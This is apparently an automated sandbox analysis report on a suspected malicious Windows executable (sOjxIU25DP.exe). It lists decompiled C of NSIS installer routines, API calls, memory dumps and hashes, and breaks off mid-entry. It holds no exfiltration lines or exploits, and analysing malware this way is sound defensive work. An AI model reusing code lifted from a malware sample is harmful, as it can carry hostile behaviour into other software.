Instruction Fuzzy Hash: 61017C71200608AFDF209F51DD81AAB3B66EB94394F50453BFA04761D1C7BA9C929F2D

Uniqueness

Uniqueness Score: -1.00%

Function 00405CAE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00405CAE(void* __eflags, intOrPtr _a4) {
				int _t11;
				signed char* _t12;
				intOrPtr _t18;
				intOrPtr* _t21;
				void* _t22;

				E00406228(0x422158, _a4);
				_t21 = E00405C59(0x422158);
				if(_t21 != 0) {
					E00406503(_t21);
					if(( *0x42475c & 0x00000080) == 0) {
						L5:
						_t22 = _t21 - 0x422158;
						while(1) {
							_t11 = lstrlenA(0x422158);
							_push(0x422158);
							if(_t11 <= _t22) {
								break;
							}
							_t12 = E0040659C();
							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
								E00405C07(0x422158);
								continue;
							} else {
								goto L1;
							}
						}
						E00405BC0();
						return 0 | GetFileAttributesA(??) != 0xffffffff;
					}
					_t18 =  *_t21;
					if(_t18 == 0 || _t18 == 0x5c) {
						goto L1;
					} else {
						goto L5;
					}
				}
				L1:
				return 0;
			}

0x00405cba
0x00405cc5
0x00405cc9
0x00405cd0
0x00405cdc
0x00405ce8
0x00405ce8
0x00405d00
0x00405d01
0x00405d08
0x00405d09
0x00000000
0x00000000
0x00405cec
0x00405cf3
0x00405cfb
0x00000000
0x00000000
0x00000000
0x00000000
0x00405cf3
0x00405d0b
0x00000000
0x00405d1f
0x00405cde
0x00405ce2
0x00000000
0x00000000
0x00000000
0x00000000
0x00405ce2
0x00405ccb
0x00000000

APIs

Part of subcall function 00406228: lstrcpynA.KERNEL32(?,?,00000400,00403533,00423F40,NSIS Error,?,00000007,00000009,0000000B), ref: 00406235

Part of subcall function 00405C59: CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,?,00405CC5,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,76783410,?,76782EE0,00405A10,?,76783410,76782EE0,00000000), ref: 00405C67
Part of subcall function 00405C59: CharNextA.USER32(00000000), ref: 00405C6C
Part of subcall function 00405C59: CharNextA.USER32(00000000), ref: 00405C80

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,76783410,?,76782EE0,00405A10,?,76783410,76782EE0,00000000), ref: 00405D01
GetFileAttributesA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,76783410,?,76782EE0,00405A10,?,76783410,76782EE0), ref: 00405D11

Strings

C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp, xrefs: 00405CB4, 00405CB9, 00405CBF, 00405CFA, 00405D00, 00405D08, 00405D10

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp
API String ID: 3248276644-1088140213
Opcode ID: 8df147695d567d3479fd9fb611e01f2e4261d231372b324086cf0464a71b3f28
Instruction ID: 810c58eff44cea92ea74d6fc536401bd0fed09a955b2fb282e84a1b8880da462
Opcode Fuzzy Hash: 8df147695d567d3479fd9fb611e01f2e4261d231372b324086cf0464a71b3f28
Instruction Fuzzy Hash: 31F0F921109F5125E62232761D09B9F1E54CD97324745457FF8A1B23D2CB3C8853DD6D

Uniqueness

Uniqueness Score: -1.00%

Function 004058C7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004058C7(CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x422558->cb = 0x44;
				_t7 = CreateProcessA(0, _a4, 0, 0, 0, "true", 0, 0, 0x422558,  &_v20);
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}

0x004058d0
0x004058f0
0x004058f8
0x004058fd
0x00000000
0x00405903
0x00405907

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00422558,Error launching installer), ref: 004058F0
CloseHandle.KERNEL32(?), ref: 004058FD

Strings

Error launching installer, xrefs: 004058DA

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: c3ebc3f9998ac015d8c7df4fd8e4914833f251e822556357c2f70f84276a4d27
Instruction ID: 5185fe82c3568d3c8632712b5ff5a6750f12376067ae41ef0f6fc1d41a32777d
Opcode Fuzzy Hash: c3ebc3f9998ac015d8c7df4fd8e4914833f251e822556357c2f70f84276a4d27
Instruction Fuzzy Hash: D6E0BFF4A00209BFEB109F64ED09F7B77ACEB04644F508425BE51F2150D77899658A78

Uniqueness

Uniqueness Score: -1.00%

Function 00405C07 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405C07(char* _a4) {
				char* _t3;
				char* _t5;

				_t5 = _a4;
				_t3 =  &(_t5[lstrlenA(_t5)]);
				while( *_t3 != 0x5c) {
					_t3 = CharPrevA(_t5, _t3);
					if(_t3 > _t5) {
						continue;
					}
					break;
				}
				 *_t3 =  *_t3 & 0x00000000;
				return  &(_t3[1]);
			}

0x00405c08
0x00405c12
0x00405c14
0x00405c1b
0x00405c23
0x00000000
0x00000000
0x00000000
0x00405c23
0x00405c25
0x00405c2a

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402F5D,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\sOjxIU25DP.exe,C:\Users\user\Desktop\sOjxIU25DP.exe,80000000,00000003), ref: 00405C0D
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402F5D,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\sOjxIU25DP.exe,C:\Users\user\Desktop\sOjxIU25DP.exe,80000000,00000003), ref: 00405C1B

Strings

C:\Users\user\Desktop, xrefs: 00405C07

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3370423016
Opcode ID: 7cfe4fb9fb084f73e38b743788eacbc948a8cb50b3ca3a16f7beb83d38b7a1d7
Instruction ID: 741041d8a9fca0cd730fa631f59021aaf6e5318b071c559ffeb457c432b97b3b
Opcode Fuzzy Hash: 7cfe4fb9fb084f73e38b743788eacbc948a8cb50b3ca3a16f7beb83d38b7a1d7
Instruction Fuzzy Hash: 09D0C77241DA706EF70363149D05B9F6A48DF57700F1A44A6E581A6191C77C4C524BFD

Uniqueness

Uniqueness Score: -1.00%

Function 6F6210E0 Relevance: 5.1, APIs: 4, Instructions: 102
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6F6210E0(void* _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char* _t17;
				char _t19;
				void* _t20;
				void* _t24;
				void* _t27;
				void* _t31;
				void* _t37;
				void* _t39;
				void* _t40;
				signed int _t43;
				void* _t52;
				char* _t53;
				char* _t55;
				void* _t56;
				void* _t58;

				 *0x6f62405c = _a8;
				 *0x6f624060 = _a16;
				 *0x6f624064 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x6f624038, E6F621556, _t52);
				_t43 =  *0x6f62405c +  *0x6f62405c * 4 << 2;
				_t17 = E6F62123B();
				_a8 = _t17;
				_t53 = _t17;
				if( *_t17 == 0) {
					L16:
					return GlobalFree(_a8);
				} else {
					do {
						_t19 =  *_t53;
						_t55 = _t53 + 1;
						_t58 = _t19 - 0x6c;
						if(_t58 > 0) {
							_t20 = _t19 - 0x70;
							if(_t20 == 0) {
								L12:
								_t53 = _t55 + 1;
								_t24 = E6F621266(E6F6212AD( *_t55 - 0x30));
								L13:
								GlobalFree(_t24);
								goto L14;
							}
							_t27 = _t20;
							if(_t27 == 0) {
								L10:
								_t53 = _t55 + 1;
								_t24 = E6F6212D1( *_t55 - 0x30, E6F62123B());
								goto L13;
							}
							L7:
							if(_t27 == 1) {
								_t31 = GlobalAlloc("true", _t43 + 4);
								 *_t31 =  *0x6f624030;
								 *0x6f624030 = _t31;
								E6F621508(_t31 + 4,  *0x6f624064, _t43);
								_t56 = _t56 + 0xc;
							}
							goto L14;
						}
						if(_t58 == 0) {
							L17:
							_t34 =  *0x6f624030;
							if( *0x6f624030 != 0) {
								E6F621508( *0x6f624064, _t34 + 4, _t43);
								_t37 =  *0x6f624030;
								_t56 = _t56 + 0xc;
								GlobalFree(_t37);
								 *0x6f624030 =  *_t37;
							}
							goto L14;
						}
						_t39 = _t19 - 0x4c;
						if(_t39 == 0) {
							goto L17;
						}
						_t40 = _t39 - 4;
						if(_t40 == 0) {
							 *_t55 =  *_t55 + 0xa;
							goto L12;
						}
						_t27 = _t40;
						if(_t27 == 0) {
							 *_t55 =  *_t55 + 0xa;
							goto L10;
						}
						goto L7;
						L14:
					} while ( *_t53 != 0);
					goto L16;
				}
			}

0x6f6210e7
0x6f6210ef
0x6f621103
0x6f62110b
0x6f621116
0x6f621119
0x6f621121
0x6f621124
0x6f621126
0x6f6211c4
0x6f6211d0
0x6f62112c
0x6f62112d
0x6f62112d
0x6f621130
0x6f621131
0x6f621134
0x6f621203
0x6f621206
0x6f62119e
0x6f6211a4
0x6f6211ac
0x6f6211b1
0x6f6211b4
0x00000000
0x6f6211b4
0x6f621209
0x6f62120a
0x6f621186
0x6f62118c
0x6f621194
0x00000000
0x6f621194
0x6f621152
0x6f621153
0x6f62115b
0x6f621168
0x6f621170
0x6f621179
0x6f62117e
0x6f62117e
0x00000000
0x6f621153
0x6f62113a
0x6f6211d1
0x6f6211d1
0x6f6211d8
0x6f6211e5
0x6f6211ea
0x6f6211ef
0x6f6211f5
0x6f6211fb
0x6f6211fb
0x00000000
0x6f6211d8
0x6f621140
0x6f621143
0x00000000
0x00000000
0x6f621149
0x6f62114c
0x6f62119b
0x00000000
0x6f62119b
0x6f62114f
0x6f621150
0x6f621183
0x00000000
0x6f621183
0x00000000
0x6f6211ba
0x6f6211ba
0x00000000
0x6f6211c3

APIs

GlobalAlloc.KERNEL32(?,?), ref: 6F62115B
GlobalFree.KERNEL32(00000000), ref: 6F6211B4
GlobalFree.KERNEL32(?), ref: 6F6211C7
GlobalFree.KERNEL32(?), ref: 6F6211F5

Memory Dump Source

Source File: 00000000.00000002.3354383937.000000006F621000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F620000, based on PE: true

Associated: 00000000.00000002.3354349276.000000006F620000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3354423937.000000006F623000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3354452930.000000006F625000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f620000_sOjxIU25DP.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: cea996fc4c913f82ee3fcf5485a50410b33a8b909f268b93d44ac2220ef6c8bf
Instruction ID: 93eff4dea8be947dd348651397a707c39981c4b9672c8bec9e261f7276b3ce13
Opcode Fuzzy Hash: cea996fc4c913f82ee3fcf5485a50410b33a8b909f268b93d44ac2220ef6c8bf
Instruction Fuzzy Hash: 9931CFB190C645AFEB008F6ADA49FA67FF8FB06360B044116F844C6291DF76E890CF24

Uniqueness

Uniqueness Score: -1.00%

Function 00405D26 Relevance: 5.0, APIs: 4, Instructions: 37
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405D26(void* __ecx, CHAR* _a4, CHAR* _a8) {
				int _v8;
				int _t12;
				int _t14;
				int _t15;
				CHAR* _t17;
				CHAR* _t27;

				_t12 = lstrlenA(_a8);
				_t27 = _a4;
				_v8 = _t12;
				while(lstrlenA(_t27) >= _v8) {
					_t14 = _v8;
					 *(_t14 + _t27) =  *(_t14 + _t27) & 0x00000000;
					_t15 = lstrcmpiA(_t27, _a8);
					_t27[_v8] =  *(_t14 + _t27);
					if(_t15 == 0) {
						_t17 = _t27;
					} else {
						_t27 = CharNextA(_t27);
						continue;
					}
					L5:
					return _t17;
				}
				_t17 = 0;
				goto L5;
			}

0x00405d36
0x00405d38
0x00405d3b
0x00405d67
0x00405d40
0x00405d49
0x00405d4e
0x00405d59
0x00405d5c
0x00405d78
0x00405d5e
0x00405d65
0x00000000
0x00405d65
0x00405d71
0x00405d75
0x00405d75
0x00405d6f
0x00000000

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405F81,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D36
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405D4E
CharNextA.USER32(00000000,?,00000000,00405F81,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D5F
lstrlenA.KERNEL32(00000000,?,00000000,00405F81,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D68

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 2d92a05f35b020f23b5ffca9bb537fc612b2b61cfc11000e71e0c2b875cbb8c3
Instruction ID: 00b114ba7cac9785f06d25343f2ff2c8ce87c9cf7580b170eb884579fc1bcc0a
Opcode Fuzzy Hash: 2d92a05f35b020f23b5ffca9bb537fc612b2b61cfc11000e71e0c2b875cbb8c3
Instruction Fuzzy Hash: 45F0F631100818BFCB02DFA4CD04D9EBBA8EF55354B2580BBE840FB210D634DE01AFA9

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: sOjxIU25DP.exePID: 8016, Parent PID: 9532COMMON

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	34.9%
Total number of Nodes:	192
Total number of Limit Nodes:	11

Executed Functions

Function 34CC2CF0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 34CC2CFA

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9e446a2c98ea2c2dd564561d08356a8fd2ec2b70760dd548ef320d5ff2f08578
Instruction ID: 8b85008f0d7cc4ba11e3a48c326923e5a747db887be0f8d09c3c6dd1fe587f49
Opcode Fuzzy Hash: 9e446a2c98ea2c2dd564561d08356a8fd2ec2b70760dd548ef320d5ff2f08578
Instruction Fuzzy Hash: D6900221242081525945B1584904507400767E1289791C467A2505915CC536D85AE631

Uniqueness

Uniqueness Score: -1.00%

Function 34CC2C50 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 34CC2C5A

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b6e300b5b85e2c0689a904aeac6463cb4a8105c26ba6de3f8738c5343488018e
Instruction ID: 69843b2962265badbfc81a9b5a74a4095f1ea55e09f48d67368ff511057119f9
Opcode Fuzzy Hash: b6e300b5b85e2c0689a904aeac6463cb4a8105c26ba6de3f8738c5343488018e
Instruction Fuzzy Hash: 5D90022130104003D540715859186064006A7E2349F51D466E1505519CD925C85A6232

Uniqueness

Uniqueness Score: -1.00%

Function 34CC2C30 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 34CC2C3A

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f321cc11defedab084662fcdd6a2e6180d2188e6eab28b4025584b9fc139d61d
Instruction ID: 4788e34c02a6284ffbaa6cba685ee0111f6eba0b3aa4211fe7e198c8e3754600
Opcode Fuzzy Hash: f321cc11defedab084662fcdd6a2e6180d2188e6eab28b4025584b9fc139d61d
Instruction Fuzzy Hash: FC90022921304002D5807158590860A000657D224AF91D86AA110651DCC925C86D6331

Uniqueness

Uniqueness Score: -1.00%

Function 34CC2DC0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 34CC2DCA

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b6dc03f0a0ef94a083508f684e0b1268e17bdb8351f3d8496f72c1fc9f16ef4a
Instruction ID: ee34f66bcab2a2c48c4f0592b856a30941c5eb4a378127905a9c3422e5834308
Opcode Fuzzy Hash: b6dc03f0a0ef94a083508f684e0b1268e17bdb8351f3d8496f72c1fc9f16ef4a
Instruction Fuzzy Hash: 3A90027120104402D54071584904746000657D1349F51C466A6155519EC669CDD97675

Uniqueness

Uniqueness Score: -1.00%

Function 34CC2DA0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 34CC2DAA

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2bce2bc41c80cbdde253157acb45a16fcb59d11a16289c9693ac785229d472de
Instruction ID: 0f62b386941dbe8c616f10effb9c4381652c3c9ee64dfb1476f56e5fac464c05
Opcode Fuzzy Hash: 2bce2bc41c80cbdde253157acb45a16fcb59d11a16289c9693ac785229d472de
Instruction Fuzzy Hash: 3290022160104502D50171584904616000B57D1289F91C477A211551AECA35C996B131

Uniqueness

Uniqueness Score: -1.00%

Function 34CC2D10 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 34CC2D1A

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 99d757f72c073c6e20b992405dcef4419922f8125daea39010315c0f55433a36
Instruction ID: 7a8216258c2f6b779fd528ad2d1307d88f189bbf2e524768792fea863ae7580e
Opcode Fuzzy Hash: 99d757f72c073c6e20b992405dcef4419922f8125daea39010315c0f55433a36
Instruction Fuzzy Hash: 8790023120104413D51161584A04707000A57D1289F91C867A151551DDD666C956B131

Uniqueness

Uniqueness Score: -1.00%

Function 34CC2ED0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 34CC2EDA

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0f88110a35ecad34b326c176085897f41417d6ba84d3d6db06a7819d8e32b796
Instruction ID: bb6fd908c791271dc729122cb5542740b034af0af72fee98dabec690997cbca8
Opcode Fuzzy Hash: 0f88110a35ecad34b326c176085897f41417d6ba84d3d6db06a7819d8e32b796
Instruction Fuzzy Hash: 8A90022160104042454071688D4490640067BE2259751C576A1A89515DC569C8696675

Uniqueness

Uniqueness Score: -1.00%

Function 34CC2EB0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 34CC2EBA

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e782c41fda7b7b3048241b158f3e7a4010655776007763bc608b3e26e4b71f55
Instruction ID: dfb94c2fd4836d86ad4e86d1eea5ac3ff893e9552f670a2991193e21b56473b4
Opcode Fuzzy Hash: e782c41fda7b7b3048241b158f3e7a4010655776007763bc608b3e26e4b71f55
Instruction Fuzzy Hash: 4290023120144402D50061584D1470B000657D134AF51C466A225551ADC635C8557571

Uniqueness

Uniqueness Score: -1.00%

Function 34CC2E50 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 34CC2E5A

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a0c8405a3b211a21bba0a820c699fab2177b8fbbadfc96588fbed103482b9572
Instruction ID: 60f18015a25ff31b09fe680583ad01b81be489edc4ae48022050a9b016e85da6
Opcode Fuzzy Hash: a0c8405a3b211a21bba0a820c699fab2177b8fbbadfc96588fbed103482b9572
Instruction Fuzzy Hash: 7090026134104442D50061584914B06000697E2349F51C46AE2155519DC629CC567136

Uniqueness

Uniqueness Score: -1.00%

Function 34CC2F00 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 34CC2F0A

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

